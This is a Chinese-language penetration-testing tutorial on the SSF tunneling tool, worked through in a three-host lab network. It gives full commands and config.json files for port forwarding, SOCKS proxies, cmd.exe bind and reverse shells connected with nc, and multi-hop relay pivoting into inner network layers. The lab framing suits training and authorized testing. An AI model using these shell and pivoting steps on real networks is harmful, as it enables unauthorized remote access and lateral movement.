ssf端口转发
目录
0x01 ssf介绍
0x02 正向tcp端口转发
0x03 反向tcp端口转发
0x04 正向socks代理
0x05 反向socks代理
0x06 正向反弹shell
0x07 反向反弹shell
0x08 文件上传下载
0x09 中继功能进行多层内网
注:
边界机器 win08 192.168.222.175
一层内网 win7 192.168.222.137
二层内网 Ubuntu 192.168.222.177
0x01 ssf介绍
ssf全称Secure Socket Funneling,官网对其的介绍如下:It provides simple and efficient ways to forward data from multiple sockets (TCP or UDP) through a single secure TLS link to a remote computer.
下面这张动图就很清楚的解释了它的工作流程

更多的介绍请移步官网来进行查看。
官网:https://securesocketfunneling.github.io/ssf/
其各种版本的都是支持的,是一个全平台的加密隧道的端口转发工具

这里我们使用WindowsX64的来进行

ssf是客户端,ssfd是服务端,ssfcp是用域文件传输的,前面带upx的是进行upx压缩过的,功能跟前面的都是一样的,certs中是使用时候需要的证书,如果想单独进行使用的时候,一定要把要使用的文件和certs文件夹一起上传到同一个目录下。
0x02 正向tcp端口转发
从边界机器将流量通过一层内网的转发到达二层内网
首先在一层内网使用服务端执行命令,监听本地1080端口
upx-ssfd.exe -p 1080
然后回到边界机器运行客户端
这里在本地的1081端口和一层内网的1080端口建立一个通道,然后将流量传到二层内网的22端口
upx-ssf.exe -L 1081:192.168.222.177:22 -p 1080 192.168.222.137
然后就是连接的时候了,这里还有一个坑,这里的监听是127.0.0.1,我们默认只能从本地来进行连接内网,如果想从自己电脑来进行访问的话,就需要自己再进行其他的端口转发操作了

所以在边界机器上来进行连接


0x03 反向tcp端口转发
首先在边界机器上运行服务端执行
upx-ssfd.exe -p 1080
然后回到一层内网运行客户端执行命令
upx-ssf.exe -R 1081:192.168.222.177:22 -p 1080 192.168.222.175
这里还是跟正向有一样的坑

然后在边界机器来连接ssh


0x04 正向socks代理
其实搞明白tcp的转发,socks的就很简单了
首先在边界服务器运行服务端
upx-ssfd.exe -p 1080
然后回到我们本地来执行客户端
upx-ssf.exe -D 1081 -p 1080 192.168.222.175
然后在本地进行设置即可

0x05 反向socks代理
反向跟正向就基本一样了
在本地执行服务端
upx-ssfd.exe -p 1080
然后到边界机器执行客户端
10.1.61.144是我本地的IP
upx-ssf.exe -F 1081 -p 1080 10.1.61.144
0x06 正向反弹shell
这里我们来反弹边界主机的shell
这里我们使用它的 -c 参数,来加载自定义的配置文件

其中config.json的内容为
{
"ssf": {
"services": {
"shell": {
"enable": true,
"path": "C:\Windows\System32\cmd.exe",
"args": ""
}
}
}
}
各版本的也是有一定的不同的,这里我们参考官网给出的来写

这里我是指名了要调用cmd,如果想调用powershell填写对应的路径就可以了
当然如果你是Linux的,就调用对应的shell就可以了

言归正传,我们接下来回到本地来执行,这里所调用的 config.json 与上面的是一致的
-X 是指 bind shell
ssf.exe -X 1081 192.168.222.175 -c config.json -p 1080
然后我们在本地执行nc连接就可以了
nc.exe 127.0.0.1 1081
0x07 反向反弹shell
这里我们用的config.json跟正向反弹是一样的
首先我们在本地运行服务端
ssfd.exe -p 1080 -c config.json
然后回到边界主机运行客户端
10.1.135.96是我本地的IP,-Y 是指reverse shell
ssf.exe -Y 1081 10.1.135.96 -p 1080 -c config.json
然后回到本地nc连接就可以了

0x08 文件上传下载
文件的上传和下载这里就不多说了,官网上有详细的步骤,我们也就不废话了,值得注意的是,ssfcp是支持跨平台传输的,可以应用在Windows和Linux之间的文件传输

0x09 中继功能进行多层内网
这个可以应用在多层内网的时候,它的流程是这个样子的

我们只需要改动以下config.json的内容就可以搞定了,然后通过中继就可以照样进行前面所提到的所有的操作
注:只需要把中间主机的IP和端口加上就可以了,开头和结尾的主机是不需要添加的
这里我们将Ubuntu主机去掉,换成win03主机,其IP是192.168.222.150,由于win03是32位的,所以这里我们下载32位的ssf
这次我们要从本地的主机到达最里面的win03主机
首先在最终要到达的主机上运行服务端
ssfd.exe -p 1080 -c config.json
其中config.json的内容为
{
"ssf": {
"circuit": [
{"host": "192.168.222.175", "port":"1080"},
{"host": "192.168.222.137", "port":"1080"}
],
"services": {
"shell": {
"enable": true,
"path": "C:\Windows\System32\cmd.exe",
"args": ""
}
}
}
}
然后去win08和win7上执行监听
ssfd.exe -p 1080 -c config.jsonwin7:

win08:

然后到本地来运行客户端
ssf.exe -c config.json -p 1080 192.168.222.150 -X 1081
然后在本地nc连接就可以了
nc.exe 127.0.0.1 1081
最后再配一个比较全的config.json,以后自己去参考
{
"ssf": {
"arguments": "",
"circuit": [],
"tls" : {
"ca_cert_path": "./certs/trusted/ca.crt",
"cert_path": "./certs/certificate.crt",
"key_path": "./certs/private.key",
"key_password": "",
"dh_path": "./certs/dh4096.pem",
"cipher_alg": "DHE-RSA-AES256-GCM-SHA384"
},
"http_proxy" : {"host": "",
"port": "",
"user_agent": "",
"credentials": {"username": "",
"password": "",
"domain": "",
"reuse_ntlm": "true",
"reuse_nego": "true"
}
},
"services": {
"datagram_forwarder": { "enable": true },
"datagram_listener": {
"enable": true,
"gateway_ports": false
},
"stream_forwarder": { "enable": true },
"stream_listener": {
"enable": true,
"gateway_ports": false
},
"copy": { "enable": false },
"shell": {
"enable": false,
"path": "/bin/bash|C:\windows\system32\cmd.exe",
"args": ""
},
"socks": { "enable": true }
}
}
}
注:以上参数的含义如下
文章作者:无心
张